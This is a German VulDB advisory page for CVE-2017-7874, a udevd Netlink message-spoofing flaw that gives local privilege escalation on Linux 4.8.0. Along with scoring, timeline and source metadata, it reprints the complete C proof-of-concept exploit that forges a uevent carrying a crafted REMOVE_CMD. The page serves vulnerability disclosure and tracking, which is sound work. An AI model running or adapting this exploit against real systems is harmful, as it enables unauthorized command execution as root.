Linux Kernel 4.8.0 udevd 50-udev-default.rules erweiterte Rechte

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
5.0$0-$5k0.00

Zusammenfassunginfo

Es wurde eine problematische Schwachstelle in Linux Kernel 4.8.0 entdeckt. Dies betrifft einen unbekannten Teil in der Bibliothek /lib/udev/rules.d/50-udev-default.rules der Komponente udevd. Die Veränderung resultiert in erweiterte Rechte. Die Identifikation der Schwachstelle findet als CVE-2017-7874 statt. Der Angriff ist nur lokal möglich. Darüber hinaus steht ein Exploit zur Verfügung.

Detailsinfo

In Linux Kernel 4.8.0 (Operating System) wurde eine problematische Schwachstelle entdeckt. Das betrifft eine unbekannte Funktionalität der Bibliothek /lib/udev/rules.d/50-udev-default.rules der Komponente udevd. Durch Beeinflussen mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-77. Auswirkungen hat dies auf Vertraulichkeit, Integrität und Verfügbarkeit. Die Zusammenfassung von CVE lautet:

udevd in udev 232, when the Linux kernel 4.8.0 is used, does not properly verify the source of a Netlink message, which allows local users to execute arbitrary commands by leveraging access to the NETLINK_KOBJECT_UEVENT family, and the presence of the /lib/udev/rules.d/50-udev-default.rules file, to provide a crafted REMOVE_CMD value.

Gefunden wurde das Problem am 15.04.2017. Die Schwachstelle wurde am 15.04.2017 (Website) öffentlich gemacht. Bereitgestellt wird das Advisory unter exploit-db.com. Die Verwundbarkeit wird seit dem 14.04.2017 als CVE-2017-7874 geführt. Der Angriff muss lokal angegangen werden. Um eine Ausnutzung durchzusetzen, muss eine einfache Authentisierung umgesetzt werden. Es sind technische Details sowie ein öffentlicher Exploit zur Schwachstelle bekannt. Als Angriffstechnik weist das MITRE ATT&CK Projekt die ID T1202 aus.

Ein öffentlicher Exploit wurde durch Nassim Asrir in ANSI C geschrieben und direkt nach dem Advisory veröffentlicht. Unter exploit-db.com wird der Exploit bereitgestellt. Er wird als proof-of-concept gehandelt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
 
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
 
int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;
 
  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;
 
  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;
 
  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));
 
  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;
 
  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);
 
  sendmsg(sock, &msg, 0);
 
  close(sock);
 
  return 0;
}

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

Unter anderem wird der Fehler auch in den Datenbanken von Exploit-DB (41886) und SecurityFocus (BID 97679†) dokumentiert. If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Produktinfo

Typ

Hersteller

Name

Version

Lizenz

Webseite

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 5.3
VulDB Meta Temp Score: 5.0

VulDB Base Score: 5.3
VulDB Temp Score: 5.0
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

Exploitinginfo

Klasse: Erweiterte Rechte
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Teilweise
Lokal: Ja
Remote: Nein

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Nassim Asrir
Programmiersprache: 🔍
Download: 🔍
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Exploit-DB: 🔍

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: keine Massnahme bekannt
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

14.04.2017 🔍
15.04.2017 +1 Tage 🔍
15.04.2017 +0 Tage 🔍
15.04.2017 +0 Tage 🔍
15.04.2017 +0 Tage 🔍
15.04.2017 +0 Tage 🔍
16.04.2017 +1 Tage 🔍
27.12.2024 +2812 Tage 🔍

Quelleninfo

Hersteller: kernel.org

Advisory: 142152
Status: Bestätigt

CVE: CVE-2017-7874 (🔍)
GCVE (CVE): GCVE-0-2017-7874
GCVE (VulDB): GCVE-100-99901
SecurityFocus: 97679 - Linux Kernel CVE-2017-7874 Local Privilege Escalation Vulnerability
OSVDB: - Linux Kernel udev command execution

scip Labs: https://www.scip.ch/?labs.20161013

Eintraginfo

Erstellt: 16.04.2017 10:46
Aktualisierung: 27.12.2024 09:32
Anpassungen: 16.04.2017 10:46 (52), 17.09.2020 18:46 (5), 29.11.2022 14:32 (2), 27.12.2024 09:32 (14)
Komplett: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

◂ ZurückÜbersichtWeiter ▸

Interested in the pricing of exploits?

See the underground prices here!